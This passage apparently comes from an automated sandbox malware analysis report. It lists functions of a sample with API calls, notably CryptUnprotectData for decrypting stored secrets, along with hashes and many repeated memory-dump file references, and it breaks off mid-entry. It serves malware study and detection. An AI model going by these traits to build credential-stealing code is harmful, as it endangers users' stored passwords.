Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 7f63d2d4efc917432a4f6d3a0cd9f2926ca0780b2c61fd51b743344a983fa332
Instruction ID: 5a2e93b3618c46ebf895e9b1bc99f90d8f1d211be13204c61a154f75fc3270ca
Opcode Fuzzy Hash: 7f63d2d4efc917432a4f6d3a0cd9f2926ca0780b2c61fd51b743344a983fa332
Instruction Fuzzy Hash: 9821AB75D14209ABCF04EFE4D945AEEBBB5FF48300F04856AE506F3250EB749605CB69

Function 00577240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 0057724D
RtlAllocateHeap.NTDLL(00000000), ref: 00577254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00577281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 005772A4
LocalFree.KERNEL32(?), ref: 005772AE

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: ee6688baf38c275c09f860b3ea7e7680abf25efbaaa887e585feebc6ecd6bc00
Instruction ID: 7b0ac2d67844f36c7ca797b8a574479d5541e67960fe2d6abc155c40bec7985c
Opcode Fuzzy Hash: ee6688baf38c275c09f860b3ea7e7680abf25efbaaa887e585feebc6ecd6bc00
Instruction Fuzzy Hash: E2010075A40208BBEB10DBD4DD45F9D77B8BB48700F108554FB09AA2C0D674AA009B69

Function 00588EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00575184,40000001,00000000,00000000,?,00575184), ref: 00588EC0

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: f093f4649469932c71ae6a66aa7b243a8218e32dbf950bd77e694d9e7f745f9d
Instruction ID: a4cd3ae458bb583c15495cac24a8f063176969fdf4c89c1a8a7357b49d83c210
Opcode Fuzzy Hash: f093f4649469932c71ae6a66aa7b243a8218e32dbf950bd77e694d9e7f745f9d
Instruction Fuzzy Hash: B2110670200209BFDB00EF64D884FBA3BA9FF89304F509948FE199B250DB35E841DB64

Function 0092C37D Relevance: 5.4, Strings: 3, Instructions: 1658COMMON

Download Yara Rule

Strings

=ugr, xrefs: 0092D41B
m2_}, xrefs: 0092D3C3
i+6, xrefs: 0092CD7B

Memory Dump Source

Source File: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID:
String ID: =ugr$i+6$m2_}
API String ID: 0-624226284
Opcode ID: 40f1c2fd601cb7fe77bfc6c7abe32bfab14677766751136614a0b6447c676d57
Instruction ID: c9aaec27b69d72d397aa3444232dc49d80126eff8851f0110e195f9413a59dfd
Opcode Fuzzy Hash: 40f1c2fd601cb7fe77bfc6c7abe32bfab14677766751136614a0b6447c676d57
Instruction Fuzzy Hash: C5B218F360C2049FE304AE2DEC8567AFBE9EF94760F16493DE6C4C7744EA3598018696

Function 0092DEFC Relevance: 5.4, Strings: 3, Instructions: 1624COMMON

Download Yara Rule

Strings

E\3, xrefs: 0092E7E2
l7_, xrefs: 0092E3EB
G$I:, xrefs: 0092E681

Memory Dump Source

Source File: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID:
String ID: E\3$G$I:$l7_
API String ID: 0-2772513184
Opcode ID: 27797c33d82d1568b1a003bad0cd2bc9c4c160372f21c86258a4344806e17a1a
Instruction ID: 37fbeb3584eecd12eb294422259588b382386c21637de6ba2959add13905f3f7
Opcode Fuzzy Hash: 27797c33d82d1568b1a003bad0cd2bc9c4c160372f21c86258a4344806e17a1a
Instruction Fuzzy Hash: F8B2F7F360C6009FE304AE2DEC8567AFBE5EF94320F1A492DE6C4C7744EA3598058697

Function 0092AC86 Relevance: 5.0, Strings: 3, Instructions: 1283COMMON

Download Yara Rule

Strings

G`w;, xrefs: 0092B20E
D4n8, xrefs: 0092B9B6
s, xrefs: 0092B27A

Memory Dump Source

Source File: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID:
String ID: D4n8$G`w;$s
API String ID: 0-833048516
Opcode ID: d4135802e263ba0a2cfb51bdc2ee1d59fd4b52ea349d572d8f69db95f6df01b3
Instruction ID: 59c41d7aac67964f8c7ccf41358bd854cadecc9bc73f0fdff655cb3fb1048ca6
Opcode Fuzzy Hash: d4135802e263ba0a2cfb51bdc2ee1d59fd4b52ea349d572d8f69db95f6df01b3
Instruction Fuzzy Hash: F282E7F3608204AFE3046E2DEC8567AFBE9EF94720F16893DE6C4C7744E63598058697

Function 00938726 Relevance: 4.8, Strings: 3, Instructions: 1028COMMON

Download Yara Rule

Strings

P`_, xrefs: 00938DEB
DZ}c, xrefs: 00938E67
d0~c, xrefs: 00938B8A

Memory Dump Source

Source File: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID:
String ID: DZ}c$P`_$d0~c
API String ID: 0-887771832
Opcode ID: e4ab44935d57d7c6c6dc121bb7f8af3c5ab5a1ae74ac145563843a8b0fb8b969
Instruction ID: 31f48de4b226423a84078645e75e652ab18de702e1435ce3fbcb1d2718acc74a
Opcode Fuzzy Hash: e4ab44935d57d7c6c6dc121bb7f8af3c5ab5a1ae74ac145563843a8b0fb8b969
Instruction Fuzzy Hash: 556217F3A0C2009FE7046E2DEC85A7ABBE9EF94320F1A453DEAC5C7744E63558418697

Function 00583720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(0058E118,00000000,00000001,0058E108,00000000), ref: 00583758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 005837B0

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: 79ee7d8aed6bed7cbfe6e5130b23a1d5ec14960bd39f6896ec67f710842de5b2
Instruction ID: c8be896228c8f638dcb5daafdf2c085b08090f75aea02917022d27fbff97b5ba
Opcode Fuzzy Hash: 79ee7d8aed6bed7cbfe6e5130b23a1d5ec14960bd39f6896ec67f710842de5b2
Instruction Fuzzy Hash: F041EC71A40A18AFDB24DB54CC99F9BB7B5BB48702F4041D8E608E72D0E7716E85CF50

Function 00931400 Relevance: 2.9, Strings: 1, Instructions: 1637COMMON

Download Yara Rule

Strings

wL-w, xrefs: 00932053

Memory Dump Source

Source File: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID:
String ID: wL-w
API String ID: 0-1080528365
Opcode ID: e349775ed5d9966c8bb858b642fb56813c5301401ffa49c1f342bf697adc09f4
Instruction ID: 06db06a92fce1d26f2ad50792acf5b2ee2af80691ca5b58c8cea8db3a1256462
Opcode Fuzzy Hash: e349775ed5d9966c8bb858b642fb56813c5301401ffa49c1f342bf697adc09f4
Instruction Fuzzy Hash: CDB217F3A0C2049FE3086E2DEC4567ABBE5EF94720F1A493DEAC597744EA355804C687

Function 008F01BD Relevance: 2.6, Strings: 2, Instructions: 137COMMON

Download Yara Rule

Strings

@{R, xrefs: 008F01DC
@{R, xrefs: 008F01CE

Memory Dump Source

